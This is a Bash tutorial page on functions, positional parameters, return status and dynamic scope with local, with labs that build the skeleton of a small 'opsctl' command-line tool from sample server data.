Bash Hour 3: Functions, Scope and Modular Scripts

From “one long script” to “a maintainable command-line tool”: function return values, dynamic scope with local, nameref, source and libraries, getopts and long options, subcommand CLI, and configuration precedence. In this lesson you build the running project from scratch opsctl v0.1
Bash 5.3 (baseline)Bash 5.2 / 3.2 difference notesopsctl v0.1ShellCheck 0.11.0 tested and passingVerified date 2026-11-17
Overall learning objectives
  • Master defining and calling functions: positional parameters $1…$#,"$@",FUNCNAME / BASH_SOURCE / caller, and clearly understand a function's “return value” is only an exit status from 0 to 255.
  • Explain Bash's dynamic scope: local variables are visible to the “callee” but not to the “caller”; you can draw the call stack and predict which layer any variable lookup lands on (this lesson's core animation).
  • Master the four channels a function uses to deliver data: stdout + $(…), exit status,printf -v,nameref (local -n / declare -n), and pitfalls such as nameref same-name shadowing, circular references and illegal names.
  • Use source Split a script into libraries: locate the script directory, include guards,module::function naming, and library files that only define things and never execute.
  • Use getopts to parse short options, and while/case hand-written long-option parsing; design tool subcommand [options] CLI with help / usage,exit code convention 0/1/2/3, and the division of labor between stdout and stderr.
  • Implement configuration loading: parse safely key = value config file (do not source), with command-line options > environment variables > config file > default values merging, and being able to explain where each value came from.
  • Finish opsctl v0.1: bin/opsctl dispatcher,lib/log.sh,lib/util.sh,lib/config.sh,lib/cmd_servers.sh (servers list --env),lib/cmd_config.sh,etc/opsctl.conf— Lessons 4–7 continue to evolve this same codebase.

1-hour time allocation table

#TimeModuleCore contentAnimation / interactionLab
0Before classPreparation: opsctl project skeletonConfirm the Bash version,~/bashlab/data/servers.csv, set up ~/bashlab/opsctl/{bin,lib,etc,test}environment self-check listDirectory skeleton + Git initialization
100–06Functions: definition, parameters and return valuesTwo definition syntaxes, positional parameters,"$@",shift,return 0–255,FUNCNAME,declare -F, recursion and FUNCNESTpositional parameters at call time and $? switchingWrite greet,max,retry_until prototype
206–13Scope: local, dynamic scope and global variableslocal / declare / declare -g, dynamic scope,local -,localvar_inherit, subshell boundariesCore animation (part 1): call stack and variable lookupReproduce “a called function changed the caller's variable”
313–21Output and return: command substitution, return and namerefstdout capture vs exit status vs printf -v vs nameref; local v=$(…) swallowed status; the three nameref pitfalls; 5.3's ${ cmd; }Core animation (part 2): how nameref resolves on the call stackImplement util::csv_split (nameref fills an array)
421–28Modularization: source, library files and naming conventionssource semantics,BASH_SOURCE locate the script directory, include guards,module::function, ShellCheck source= directivessource chains and growth of the function tableWrite lib/log.sh,lib/util.sh
528–35Argument parsing: getopts and long optionsgetopts OPTIND / OPTARG / silent mode of local OPTIND,--, hand-written --opt value / --opt=valuesingle-step simulation of getopts and of a hand-written parser that accepts input argumentsfor servers list writing option parsing
635–42Subcommand-style CLI design: usage, help and exit code conventionsdispatcher,cmd::<name> dynamic loading, path injection protection, help generation, exit codes 0/1/2/3, stdout and stderrdispatcher execution path and exit code simulationWrite bin/opsctl
742–50Configuration: config files, environment variables and precedencewhy not source configuration, allowlist parsing,~ quoting, precedence merging,config show showing sourcesconfiguration precedence playgroundWrite lib/config.sh and etc/opsctl.conf
850–60opsctl v0.1: a maintainable script skeletonfull directory layout, file responsibilities, running and acceptance, ShellCheck, and the evolution roadmap for Lessons 4–7v0.1 file browser + interactive troubleshooting treeAccept opsctl v0.1 and commit to Git
—After classCheat sheet · Comprehensive labBuild the full opsctl v0.1 source from scratch (starting point for Lesson 4)Final quiz (12 questions)Comprehensive lab

Knowledge Coverage Matrix

Target skillsM1M2M3M4M5M6M7M8Key commands / objectsLab
Defining and calling functions✓✓✓✓·✓·✓f() { …; },"$@",return,declare -FM1 lab
Scope and dynamic scope·✓✓·✓·✓✓local,declare -g,local OPTIND,local -M2 lab
Returning data (output / status / nameref)✓·✓··✓✓✓$(…),printf -v,local -n,${ cmd; }util::csv_split
Modularization and naming···✓·✓✓✓source,BASH_SOURCE, include guard,log::infolib/log.sh, lib/util.sh
Argument parsing✓···✓✓✓✓getopts,OPTIND,--opt=value,--servers list options
CLI design and exit codes✓···✓✓·✓usage,help, exit codes 0/1/2/3,>&2bin/opsctl
Configuration and precedence··✓···✓✓OPSCTL_*,etc/opsctl.conf,${!name}lib/config.sh
Quality checks··✓✓···✓bash -n,shellcheck -x (deep dive in Lesson 7)M8 acceptance

Topics excluded from this lesson (and where to learn them)

TopicWhy not in this lessonWhere to learn it
Strict mode set -euo pipefail,trap cleanup, locks, retriesThis lesson builds the structure first; opsctl v0.1 deliberately does not yet have strict mode (but is written so that it works once strict mode is enabled)Lesson 4(opsctl v0.2)
awk / sed / find -print0 text and file batch processing, etc.The CSV parsing in this lesson uses pure Bash only to demonstrate nameref; large-file processing has a dedicated lessonLesson 5 (logs report)
HTTP health checks, backup, and deploy subcommandsbelong to the opsctl v0.3 feature setLesson 6
bats unit tests, ShellCheck/shfmt gates, CI and releaseThis lesson only uses bash -n and shellcheck -x for minimal checksLesson 7 (opsctl v1.0)
Bash basic syntax (quoting, expansion, arrays, loops, exit codes)assumed to be already masteredLesson 1 · Lesson 2 · Linux 8 hours
desired-state management across multiple hostsbeyond the boundary of “utility scripts”Ansible 8 hours

How to use this courseware

10 pages per module
Theory · diagrams · animations · commands · labs · production cases · troubleshooting · quizzes · audio · video. The animations of Modules 2 and 3 together form the core of this lesson, variable lookup on the call stack. First watch local, then nameref.
Learning progress
Progress counts once the quiz score is ≥ 70% or you click “Mark this module complete”. It is saved in this browser (if local storage is disabled, it is cleared on refresh).
Chinese audio
The “Audio” page reads the narration script aloud with the browser's built-in Web Speech API (en-US); without a Chinese voice pack, the script can still be read or passed to another TTS tool.
Version notes The baseline is Bash 5.3 (released 2025-07; the official GNU patch level has reached bash53-020, 2026-09-14; the Docker Hub official image bash:5.3 currently corresponds to 5.3.20). Ubuntu 24.04 ships Bash 5.2, and all code in this lesson also applies to 5.2. The “actual run results” in this lesson were obtained on Bash 5.2.37 ; 5.3 behavior changes are noted separately only where relevant (for example, since 5.3 POSIX mode no longer requires function names to be valid identifiers,source -p PATH,${ cmd; }). macOS ships with Bash 3.2 does not support nameref (4.3+), associative arrays or ${x^^} (4.0+),printf '%(…)T' (4.2+), so opsctl checks at startup BASH_VERSINFO; if the version is below 4.3 it exits directly with exit code 3 (missing dependency), so please brew install bash.

Module 0 · Preparation: opsctl project skeleton (complete before class)

Confirm the Bash version and sample data, and set up the directory structure and Git repository for ~/bashlab/opsctl
Before class ≈ 10 minBash 5.xWork only inside ~/bashlab
Prerequisites
  • CompletedLesson 1(how the shell parses and runs a command line,~/bashlab/make-data.sh generating sample data) andLesson 2(parameter expansion, arrays,while read and variable scope in subshells).
  • Choose one environment: the Linux course's linuxlab virtual machine (Ubuntu 26.04, Bash 5.3), WSL2, macOS + Homebrew bash, or a container docker run --rm -it -v "$PWD":/work -w /work bash:5.3 (Alpine base image,readlink and similar tools come from BusyBox).
  • Risk notes: all commands in this lesson only work inside ~/bashlab to create and modify files; no sudo is needed and no network access is required.

Step 1: Confirm the Bash version (opsctl requires ≥ 4.3)

bash --version | head -1
echo "${BASH_VERSINFO[0]}.${BASH_VERSINFO[1]}"
type -a bash          # on macOS, confirm /opt/homebrew/bin/bash comes before /bin/bash
GNU bash, version 5.3.3(1)-release (x86_64-pc-linux-gnu)
5.3
bash is /usr/bin/bash
bash is /bin/bash

The patch level depends on your distribution. #!/usr/bin/env bash It looks for bash by PATH order, which is exactly why the newer Homebrew Bash can be used on macOS.

Step 2: Generate sample data with make-data.sh from Lesson 1

All examples in this lesson use the deterministic dataset provided in Lesson 1. make-data.sh The full script is inLesson 1, Module 0; save it as ~/bashlab/make-data.sh then run it (you can run it repeatedly; each run rebuilds data/):

bash ~/bashlab/make-data.sh
cd ~/bashlab/data
cksum servers.csv            # should be 3087317886 526, confirming the data matches the course
cat -n servers.csv
make-data.sh: generated /home/labadmin/bashlab/data
  access.log       611 lines
  servers.csv       13 lines (including header)
  inventory.json    12 objects
  config.yaml     opsctl sample config
  files/            15 files with unusual names
3087317886 526 servers.csv
     1	name,env,region,ip,role
     2	web-01,dev,canadacentral,10.10.1.21,web
     3	api-01,dev,canadacentral,10.10.1.22,api
     4	db-01,dev,canadacentral,10.10.1.23,db
     5	web-01,staging,ca-central-1,10.20.1.31,web
     6	api-01,staging,ca-central-1,10.20.1.32,api
     7	db-01,staging,ca-central-1,10.20.1.33,db
     8	web-01,prod,canadacentral,10.30.1.41,web
     9	web-02,prod,canadacentral,10.30.1.42,web
    10	api-01,prod,canadacentral,10.30.1.43,api
    11	edge-01,prod,ca-central-1,10.30.2.51,"web,api"
    12	db-01,prod,canadacentral,10.30.1.44,db
    13	bastion-01,prod,ca-central-1,10.30.2.10,bastion
Data characteristics used in this lesson 12 servers: dev 3 / staging 3 / prod 6; regions canadacentral and ca-central-1; name is not unique (every environment has web-01, the unique key is name+env); line 11 edge-01 role field of "web,api" contains a comma inside quotes, which is exactly why Module 3's util::csv_split was written. data/config.yaml is the YAML example provided in Lesson 1 (read with yq in Lesson 5); the config for opsctl v0.1 itself is the one in this lesson's etc/opsctl.conf (Module 7); the two do not depend on each other.

Step 3: Create the opsctl directory skeleton

mkdir -p ~/bashlab/opsctl/{bin,lib,etc,test} && cd ~/bashlab/opsctl
git init -b main 2>/dev/null || git init
printf '%s\n' '*.sh text eol=lf' 'bin/* text eol=lf' '*.conf text eol=lf' > .gitattributes
find . -path ./.git -prune -o -print | sort
.
./.gitattributes
./bin
./etc
./lib
./test
~/bashlab/opsctl/
├── bin/opsctl            # entry point + dispatcher (executable, #!/usr/bin/env bash)        ← Module 6
├── lib/log.sh            # log::debug/info/warn/error (writes to stderr)             ← Module 4
├── lib/util.sh           # util::die / usage_error / require_cmd / csv_split …  ← Modules 3, 4
├── lib/config.sh         # config::load_file / set_flag / get / init           ← Module 7
├── lib/cmd_servers.sh    # cmd::servers (servers list --env)                   ← Modules 5, 8
├── lib/cmd_config.sh     # cmd::config (config show: show values and sources)             ← Module 7
├── etc/opsctl.conf       # key = value config                                     ← Module 7
└── test/                 # *.bats tests for Lesson 7

Warm-up: answer from memory (30 seconds)

printf 'a\nb\n' | while read -r l; do n=$((n+1)); done; echo "$n" Why does it print empty?

Lesson 2's conclusion: by default each segment of a pipeline runs in a subshell and a n inside a loop is a copy in the child process. You will meet this boundary again in this lesson: whether a variable in a function can be "passed back" to the caller depends first on whether the function runs in a subshell (for example $(f)).

"$@" and "$*" difference?

"$@" expands to multiple words, one for each original parameter; "$*" joins all parameters into one string using the first character of IFS: one word. When forwarding arguments between functions, always use "$@".

Environment self-check list

Module 1 · Functions: definition, parameters and return values

00:00 – 06:00 · A function is a "named compound command": it has its own positional parameters, but it can only "return" a status from 0 to 255
6 minBash 5.x · POSIX comparison★★★★★
Learning objectives
  • Use name() { …; } to define functions, understanding that the function body can be any compound command ({ },( ),[[ ]],(( ))).
  • Master switching positional parameters at call time: $1…$9 ${10},$#,"$@",shift; $0 stays unchanged; after returning, the caller's positional parameters are restored.
  • Understand return N (N is taken from 0–255, modulo 256), the meaning of no argument return , and how a "predicate function" is used directly in if.
  • Will use FUNCNAME,BASH_LINENO,caller,declare -F,type,unset -f,command to debug and manage functions.
Prerequisites: compound commands and exit status from Lesson 1, parameter expansion from Lesson 2. Importance:★★★★★ (everything else in this lesson builds on functions)

What: what a Bash function is

The Bash manual defines a function as “a named group of commands that you call later just like a simple command”. The syntax is name () compound-command [redirections], or the Bash extension function name [()] compound-command. A function runs in the current shell process (no fork), so it can read and write the caller's variables, change the current directory, and set shopt— this is its biggest difference from "another script", and it is also the root of the dynamic-scope issue in Module 2.

Why: why ops scripts should be turned into functions early

  • Readability: main the top-level code has only a few lines saying "what to do", with the details hidden in backup::create,servers::list (Google Shell Style Guide: once a script has more than one function, it should have a main, and call main "$@" on the last line).
  • Reusable and testable: functions can be source sourced by bats tests and called individually (Lesson 7); a large block of top-level code cannot be unit tested.
  • Controllable error handling: each function has an explicit return status, and the caller uses if / || to decide how to handle it.

How: what happens during one function call

  1. Lookup: command names are resolved in the order “alias → keyword → function → builtin → PATH program in so a function with the same name will shadow builtins and external commands (command ls bypasses the function).
  2. Push: Bash pushes the function name onto the FUNCNAME array (FUNCNAME[0] is the current function), pushes the calling line number onto BASH_LINENO, and the source file onto BASH_SOURCE.
  3. Switch positional parameters: $1…,$#,$@ are temporarily replaced by the function's arguments; $0 stays unchanged (it is still the script name).
  4. Run the function body: it ends when return is reached or the last command finishes.
  5. Pop: restore the caller's positional parameters; variables inside the function local are destroyed; $? = return with its parameter, or with no parameter, the status of the last command.
SyntaxDescriptionRecommendation
name() { cmds; }POSIX form; { needs a space after it,} needs a space before it ; or a newlineRecommended (also recommended by the Google style guide)
function name { cmds; }Bash/ksh extension, cannot be used in POSIX shreadable but not portable; just pick one style for the project
name() ( cmds )The function body is a subshell: cd, variable changes,set none of them affect the calleruseful when you need to isolate side effects (mind the fork cost)
name() [[ … ]] / name() (( … ))The function body can be any compound commandsuitable for a one-line predicate, such as is_num() [[ $1 =~ ^[0-9]+$ ]]

When: function vs alias vs standalone script

NeedChooseReason
Interactive shortcut inputaliasNon-interactive scripts do not expand aliases by default (expand_aliases off)
Reusing logic inside a script, needing arguments, needing to change current shell statefunctionruns in the same process, zero fork overhead, can read and write variables
Needs to be called by other languages/tools, needs separate permissions or isolationstandalone script (see bin/ below)separate process, separate exit code, can sudo
the same group of functions shared by several scriptslibrary file + sourceModule 4
Common misconceptions① “return "$result" can return a string"—return only accepts integers from 0 to 255; return 256 gets 0,return 1000 gets 232; for data use stdout or nameref (Module 3). ② “Variables inside a function are local by default”—exactly the opposite, without local they are global variables (Module 2). ③ “The $0 inside a function is the function name”—$0 is always the script name; the function name is in ${FUNCNAME[0]}. ④ “exit only exits the function”—exit exits the whole shell (unless the function runs in a subshell such as $(…) ); to end only the function, use return.

Figure 1-1: switching positional parameters and the call stack during a call

Before the call (main) $0 = deploy.sh$# = 2 $@ = (prod --dry-run)FUNCNAME = (main)$? = 0 greet "Ada Lovelace" x← calling line (recorded in BASH_LINENO) Running (greet) $0 = deploy.sh (unchanged)$# = 2 $1 = Ada Lovelace $2 = xFUNCNAME = (greet main)local name exists only for this call return 3 / status of the last commandprintf … → stdout (the real "data") After return (main) $# = 2 $@ = (prod --dry-run) restoredFUNCNAME = (main)$? = 3 (0–255)name: destroyed (local)Changes to global variables: kept!Changes made by cd / shopt: kept!
Figure 1-1: functions run in the current shell; positional parameters and local variables are pushed and popped with the call; changes to global state remain

Figure 1-2: the resolution order for command names (why a function can "shadow" ls)

Aliasnot expanded by default in scripts Keywordif for [[ … Functionls() { … } matches here Builtincd echo printf PATH lookup + fork/exec/usr/bin/ls (hash cache) command NAME skips aliases and functions; builtin NAME only looks for builtins; in POSIX mode, "special builtins" (such as export and set) take precedence over functions
Figure 1-2: functions come before builtins and external commands. Avoid common command names when naming functions, and give library functions a module:: prefix

Animation: push and pop of one function call

Pick an example and step through how the caller and the callee's $#,$@,FUNCNAME,$? switch. The log below is the real Bash behavior for that step (set -x output or command result).

Command table

Command / variablePurposeKey points
name() { …; }Define a functionredefinition overwrites; the definition must be executed before the call
"$@" / $# / shift [n]Access and consume argumentsalways write forwarding as "$@"
return [n]End the function and set statusn is taken modulo 256; with no argument, the status of the last command is used
FUNCNAME / BASH_LINENO / BASH_SOURCECall stack array${FUNCNAME[1]} is the caller
caller [n]Print the "line function file" of the nth callerhandy for writing error traces
declare -F [name] / declare -f nameList function names / print a function definitionCheck whether a function exists: declare -F name >/dev/null
type -t nameOutput alias / keyword / function / builtin / fileInvestigate "why the command I called is not the one I expected"
unset -f name / command nameDelete a function / bypass a function to call a command of the same nameInside a wrapper function, calling the original command must use command, otherwise infinite recursion
FUNCNEST=NLimit function nesting depthreports an error when exceeded maximum function nesting level exceeded and aborts the whole command
export -f nameExport a function to child bash processesonly effective for bash child processes (xargs bash -c,parallel are commonly used)

1) Definition, calling and positional parameters

greet() {
  local name=${1:-world}
  printf 'hello, %s (%d args, FUNCNAME=%s, $0=%s)\n' "$name" "$#" "${FUNCNAME[0]}" "${0##*/}"
}
greet
greet "Ada Lovelace" extra
set -- outer-a outer-b            # simulates the script's own positional parameters
greet x; echo "back in main: \$1=$1 \$#=$#"
hello, world (0 args, FUNCNAME=greet, $0=m1.sh)
hello, Ada Lovelace (2 args, FUNCNAME=greet, $0=m1.sh)
hello, x (1 args, FUNCNAME=greet, $0=m1.sh)
back in main: $1=outer-a $#=2

How to verify: After returning $1 is still outer-a, showing that positional parameters are "pushed per call". Common mistake: trying to read the script's arguments inside a function—the function cannot see them; they must be main "$@" passed in explicitly.

2) Forwarding arguments: only "$@" is correct

show_args() { printf '%d:' "$#"; printf ' [%s]' "$@"; echo; }
fwd_good() { show_args "$@"; }
fwd_star() { show_args "$*"; }
fwd_bare() { show_args $@; }
fwd_good "a b" c; fwd_star "a b" c; fwd_bare "a b" c
2: [a b] [c]
1: [a b c]
3: [a] [b] [c]

3) Predicate functions and return status

is_prod() { [[ $1 == prod ]]; }          # the status of the last command is the function's status
if is_prod prod; then echo "prod!"; fi
is_prod dev; echo "status=$?"
max() { local m=$1 x; shift; for x in "$@"; do (( x > m )) && m=$x; done; echo "$m"; }
echo "max=$(max 3 17 8)"
f1() { return 256; }; f1; echo $?
f2() { return 1000; }; f2; echo $?
prod!
status=1
max=17
0
232

Note:max uses "stdout to deliver data" (Module 3). (( x > m )) && m=$x as the last command of a loop may leave a non-zero status—in this example echo is last, so the function status is 0. After enabling set -e in Lesson 4, pay special attention to this kind of code.

4) Passing a "command" as an argument: the prototype of a retry function

retry_until() {                 # retry_until <count> <command> [args...]
  local tries=$1 i
  shift
  for (( i = 1; i <= tries; i++ )); do
    "$@" && return 0             # run the remaining arguments with "$@": keeps the boundary of each argument
    echo "attempt $i/$tries failed: $*" >&2
  done
  return 1
}
retry_until 3 false; echo "status=$?"
retry_until 3 test -d /; echo "status=$?"
attempt 1/3 failed: false
attempt 2/3 failed: false
attempt 3/3 failed: false
status=1
status=0

Production use: Lesson 4 adds exponential backoff (sleep $((2**i))) and hooks it into opsctl's logging.

5) Call stack information and function management

where() { echo "${FUNCNAME[*]} | called from line ${BASH_LINENO[0]}"; caller 0; }
outer() { where; }
outer
declare -F outer; type -t outer
ls() { echo "my ls"; }; ls; command ls -d /; unset -f ls
where outer main | called from line 2
2 outer /home/labadmin/bashlab/demo.sh
outer
function
my ls
/

caller 0 The output format is "line number function name file name". In an error-handling function, printing caller quickly locates which line's call failed.

Lab 1: turn a small script into functions (about 5 minutes)

Write a "top-level code" version, and see its problems:
mkdir -p ~/bashlab/lesson3 && cd ~/bashlab/lesson3
cat > count-env.sh <<'EOF'
#!/usr/bin/env bash
# count servers of one environment in servers.csv (top-level code version)
env=${1:-prod}
n=0
while IFS=, read -r name e _; do
  [[ $e == "$env" ]] && n=$((n + 1))
done < ~/bashlab/data/servers.csv
echo "$env: $n"
EOF
bash count-env.sh prod; bash count-env.sh staging
prod: 6
staging: 3
Rewrite it as functions + main:
cat > count-env.sh <<'EOF'
#!/usr/bin/env bash
# count servers per environment in servers.csv (function version)

# output: server count for an environment (stdout); return: 0 has servers / 1 none
count_env() {
  local env=$1 file=$2 name e n=0
  while IFS=, read -r name e _; do
    [[ $e == "$env" ]] && n=$((n + 1))
  done < "$file"
  echo "$n"
  (( n > 0 ))
}

main() {
  local file=${DATA_FILE:-$HOME/bashlab/data/servers.csv} env n
  (( $# )) || set -- dev staging prod
  for env in "$@"; do
    if n=$(count_env "$env" "$file"); then
      printf '%-8s %s\n' "$env" "$n"
    else
      printf '%-8s %s (none!)\n' "$env" "$n" >&2
    fi
  done
}

main "$@"
EOF
bash count-env.sh; bash count-env.sh qa
dev      3
staging  3
prod     6
qa       0 (none!)

Note if n=$(count_env …): the status of an assignment is the status of the command substitution, so you get both the "data" (stdout) and the "result" (return status).

Observe the call stack: add count_env on the first line of echo "stack: ${FUNCNAME[*]}" >&2 and run again; you should see stack: count_env main main (in a $(…) subshell,FUNCNAME still inherits the call stack; the outermost main is the name Bash gives the script's top level). Delete this line after observing.
stack: count_env main main
dev      3
Verification and cleanup: bash -n count-env.sh (syntax check); if ShellCheck is available, shellcheck count-env.sh should produce no warnings. ~/bashlab/lesson3 keep until Module 3.

Case 1: splitting a 600-line deployment script into functions

Problem: a deployment script written as top-level code requires reading it from start to finish for any change; a variable set on line 30 and used on line 480 means nobody dares to delete anything. Approach: extract functions by "stage" (preflight,fetch_artifact,switch_symlink,healthcheck,rollback),main keep only the stage calls and error branches; give each function a Google-style header comment (Globals / Arguments / Outputs / Returns). Configuration:main "$@" put it on the last line of the file—this way, if the file is truncated during download (for example curl | bash disconnects midway), half a script is not executed. Limitation: functions do not solve global variables polluting each other—that is Module 2's local.

Case 2: a wrapper function caused infinite recursion

Problem: to add a default timeout to all curl calls, someone wrote curl() { curl --max-time 10 "$@"; } and the script hung, eventually reporting maximum function nesting level exceeded (when FUNCNEST is set) or exhausting the stack. Approach: inside the wrapper, call the real program using command curl … or simply give it a different name http::get. Limitation: overriding common command names confuses people reading the code, so library functions uniformly use the module:: prefix (Module 4).

Case 3: a hidden bug caused by returning a port number with return

Problem:find_free_port() { …; return $port; } in the test environment (port < 256) everything worked, but in production port 8080 was return truncated to 144 (8080 mod 256), so the service was configured to the wrong port. Approach: all data goes through stdout (port=$(find_free_port)) or nameref; return only express success/failure and a limited set of error categories.

Common errors and fixes

syntax error near unexpected token `}' (one-line function)

Cause:f() { echo hi }——} is a reserved word and must appear at the start of a command, preceded by ; or a newline; { must also be followed by a space.

f() { echo hi; }      # correct
bash -n script.sh     # syntax check only
bash: greet: command not found (the function was written!)

Cause: the function definition must be executed before the call. Common when the call is written at the top of the file and the definition at the bottom, or when the function was defined in a subshell / another script.

declare -F greet || echo "greet not defined yet"
type -t greet

Fix: put all function definitions first, and the call on the last line; main "$@" for sharing across scripts, use source (Module 4).

return: abc: numeric argument required

Cause:return "$value" in return value is not an integer.

return can only return a status from 0 to 255.

Fix: output data with echo/printf and have the caller v=$(f); or use nameref (Module 3).

bash: return: can only `return' from a function or sourced script

Cause: at the script's top level (neither inside a function nor in a file being sourced), wrote return.

Fix: at the top level use exit; in a library file, return is only valid when source is sourced (the include guard in Module 4 relies on exactly this).

maximum function nesting level exceeded (N)

Cause: recursion has no termination condition, or a wrapper function called itself (curl() { curl …; }). This error only appears if FUNCNEST is set; otherwise you may just get a segmentation fault.

FUNCNEST=50 bash -x script.sh 2>&1 | tail -20   # look at the function name that keeps repeating at the end

Fix: inside a wrapper function, use command to call the original command; for recursive functions, write the termination condition first.

Command-line exercises
1. Write a function join_by, which uses its first argument as the separator to join the remaining arguments: join_by , a "b c" d Output a,b c,d.
join_by() { local IFS=$1; shift; echo "$*"; }
join_by , a "b c" d     # a,b c,d ("$*" joins using the first character of IFS; local IFS does not pollute the global)
2. Write a wrapper function ls, which always adds -la and avoids infinite recursion.
ls() { command ls -la "$@"; }
Scenario analysis
A colleague wrote get_count() { …; return $count; } and used it in a monitoring script to read the number of error log entries. One day the alert showed “0 errors”, but the log clearly contains 512 entries. Analyze it and rewrite it. get_count; n=$? the value of

return is taken modulo 256: 512 mod 256 = 0, so “512 errors” was reported as 0 (and 0 is also interpreted as “success”). Rewrite: the function uses echo "$count" to output, and the caller n=$(get_count) || handle_error; return only indicates whether the count succeeded. If the fork cost is a concern, use printf -v / nameref to write the result into a caller variable (Module 3).

Verified teaching videos

▶
How To Write Bash Scripts In Linux - Complete Guide (Part 12 - Functions) — Learn Linux TV
English · Series episode 12 · defining and calling functions (does not cover this lesson's dynamic scope and nameref details)
▶
Bash Scripting Tutorial for Beginners — freeCodeCamp.org
English · long video · includes a functions chapter, suitable for a quick review of the basics

Official documentation

Video storyboard (about 80 seconds)

This courseware cannot directly generate video/MP3. The storyboard and narration script are provided and can be handed to a video tool.

Shot 1 · 0–15s
Picture: the 600-line deployment script scrolls quickly, then folds into five colored blocks: preflight, fetch, switch, healthcheck, rollback.
Narration: functions turn the script from "one long string of commands" into a few named steps.
Shot 2 · 15–40s
Picture: when greet is called, a card reading “dollar one, dollar hash” is pushed onto the top of the stack; on return the card pops and main's parameters are restored.
Narration: a function runs in the current shell and has its own positional parameters, but dollar zero is still the script name.
Shot 3 · 40–65s
Picture: return 8080 enters a “modulo 256” funnel and comes out as 144, with a red warning.
Narration: return can only return a status code from zero to two hundred and fifty-five. Data must be delivered through standard output.
Shot 4 · 65–80s
Picture: five boxes of the command lookup order; the function box intercepts ls, and command ls bypasses it.
Narration: functions come before builtins and external commands; remember to use command inside a wrapper function.
or reach ≥ 70% on the quiz

Module 2 · Scope: local, dynamic scope and global variables

06:00 – 13:00 · Bash looks up variables by “who called whom”, not by “where the code is written”
7 minBash 5.xCore animation (part 1)★★★★★
Learning objectives
  • Explain that Bash variables are global by default; local (and declare / typeset inside a function) create variables that exist only for this call and for its callees.
  • Understand dynamic scope: variable lookup goes down the call stack from the top, and the first variable with the same name wins; you can predict which layer any read or write lands on.
  • Will use declare -g to create global variables inside a function,local - to protect set options,local IFS / local OPTIND to isolate special variables, and understand localvar_inherit.
  • Distinguish “scope” from “process boundaries”: any change made in a subshell ($(…), a pipeline,( )) cannot be passed back.
Prerequisites: Module 1; the Lesson 2 point about “while read in a pipeline losing variables”. Importance:★★★★★ (both nameref and opsctl's configuration merging depend on it)

What: Bash's three kinds of "variable space"

  • Global variables: variables assigned directly at the script's top level or inside a function without being declared. Visible to the whole shell process.
  • Local variables: declared inside a function with local (or declare / typeset, without -g). Bash manual, verbatim: once a variable is declared local,“its visible scope is restricted to that function and its children”—it is visible only within that function and the functions it calls.
  • Environment variables: variables with the export attribute, copied to child processes when fork/exec is run. This is a separate dimension from scope: a local variable can also be local -x exported to child processes started during this call.

Why: why you must understand dynamic scope

Most languages (Python, Go, JavaScript) use lexical scope: which variables a function can see is determined by where the code is "written". Bash uses dynamic scope: determined at runtime by "who called whom". Example from the manual: func1 declares local var and calls func2, then “references to var made from within func2 resolve to the local variable var from func1”, shadowing the global variable of the same name. This has two consequences:

  1. A called function can read and write the caller's local variables—convenient (opsctl's log::_emit can read LOG_LEVEL without any argument passing), but also dangerous (a library function that forgets local i will overwrite the i in the caller's loop).
  2. The same function can see different variables on different call paths—this is the root of the same-name trap with nameref (Module 3).

How: rules for variable lookup and assignment

  1. Bash creates a variable context (scope) for each function call, pushed onto the call stack; the top level is the global context.
  2. Reading $x: search downward layer by layer from the top of the stack (the current function); the first variable named x is the result; if none is found, it is unset.
  3. Assignment x=v (undeclared): likewise search downward from the top; the layer where it is found is the one that gets changed; if none exists, it is created in the global context.
  4. Declaration local x: created in the current function's context, shadowing same-name variables below; destroyed when the function returns.
  5. declare -g x=v: skips all function contexts and operates directly on global variables.
  6. unset x: applies to the layer it finds; after running unset on a local at the current layer, it stays "unset" at that layer (manual: remains so (appearing as unset) until it is reset in that scope or until the function returns), instead of revealing the value below.
SyntaxScopeDescription
x=1searches the stack; if not found, globalthe most common source of "accidental globals" inside functions
local x=1current function + its calleesusable only inside the function
declare x=1 / typeset x=1 (inside a function)same as localeasily mistaken for a global
declare -g x=1globalused by a library to initialize a global table inside a function (opsctl's declare -gA)
local -x X=1 / export Xexports to child processesexport attribute and scope are independent
local -saves set options, restored when the function returnsBash 4.4+
shopt -s localvar_inherita new local inherits the value and attributes of the same-name variable belowBash 5.0+, off by default

When: when to use global variables

The rule is simple: every variable used inside a function should first be local, including loop variables and read targets; only "whole-program state" (configuration tables, log levels, constants) should be global, and it should use uppercase or a module-prefixed name (OPSCTL_HOME,LOG_LEVEL,_OPSCTL_LOG_SH), with constants declared readonly immediately. This matches the Google Shell Style Guide: constants and exported variables use uppercase underscore names and are declared at the top of the file.

LanguageScope modelSame code show reads x
Bashdynamic scopereads the caller's outer local x
Python / Go / JSlexical scopereads the definition site the visible x (usually global x)
POSIX shNot defined by the standard local (dash, BusyBox ash support a similar dynamic-scope local)Portable scripts should not rely on
Common misconceptions① “A local variable is only visible in this function”—to its callees are equally visible and writable. ② “Inside a function, declare is global”—without -g the declare inside a function is equivalent to local. ③ “Using local lets you pass a value back to the caller”—local does the opposite; to pass a value back, use stdout,printf -v or nameref. ④ “Global variables changed inside $(…) a function are kept”—$(…) is a subshell; any change disappears with the child process.

Figure 2-1: variable lookup on the call stack (dynamic scope)

Call stack (top of stack at the top) show (top of stack)no local x → search downward when reading $x outerlocal x=outer ← first hit! main(no x) global contextx=global ← shadowed by outer's local lookup $x: show → outer ✓ Corresponding code x=global show() { echo "show sees x=$x"; } inner() { x=changed-by-inner; show; } outer() { local x=outer; show; inner; echo "$x"; } main() { outer; echo "global x=$x"; } Actual output show sees x=outer show sees x=changed-by-inner after inner: x=changed-by-inner global x=global (the global variable was never changed)
Figure 2-1: inner does not declare x; its assignment searched down the stack and found outer's local x. What changed is the caller's local variable, not the global variable

Figure 2-2: scope boundaries vs process boundaries

current shell process (PID 1234) bump → count is modified ✓ (same process) { bump; } → change kept ✓ (braces do not fork) local / declare -g → both in this process's context source lib.sh → runs in this process ✓ printf -v / nameref → writes the caller's variable directly ✓ subshell / child process (a fork's copy) v=$(bump; echo "$count") → change disappears with the child process ✗ ( bump ) → change disappears ✗ cmd | while read … → the loop runs in a subshell ✗ bash other.sh → new process, inherits only exported variables (Bash 5.3's ${ cmd; } does not fork, so changes are kept)
Figure 2-2: local/global are visibility rules within one process; changes that cross a fork cannot be passed back, however they are declared

Core animation (part 1): call stack and dynamic scope

The left side is the code (the line being executed is highlighted); the right side is the call stack, where each layer is a variable context. Yellow means the lookup passed through without finding it; green means a hit. The log below shows the real output of that line (measured on Bash 5.2.37). The Module 3 animation uses the same call stack to demonstrate nameref.

Code
Call stack (top of stack at the top)

Command table

CommandPurposeKey points
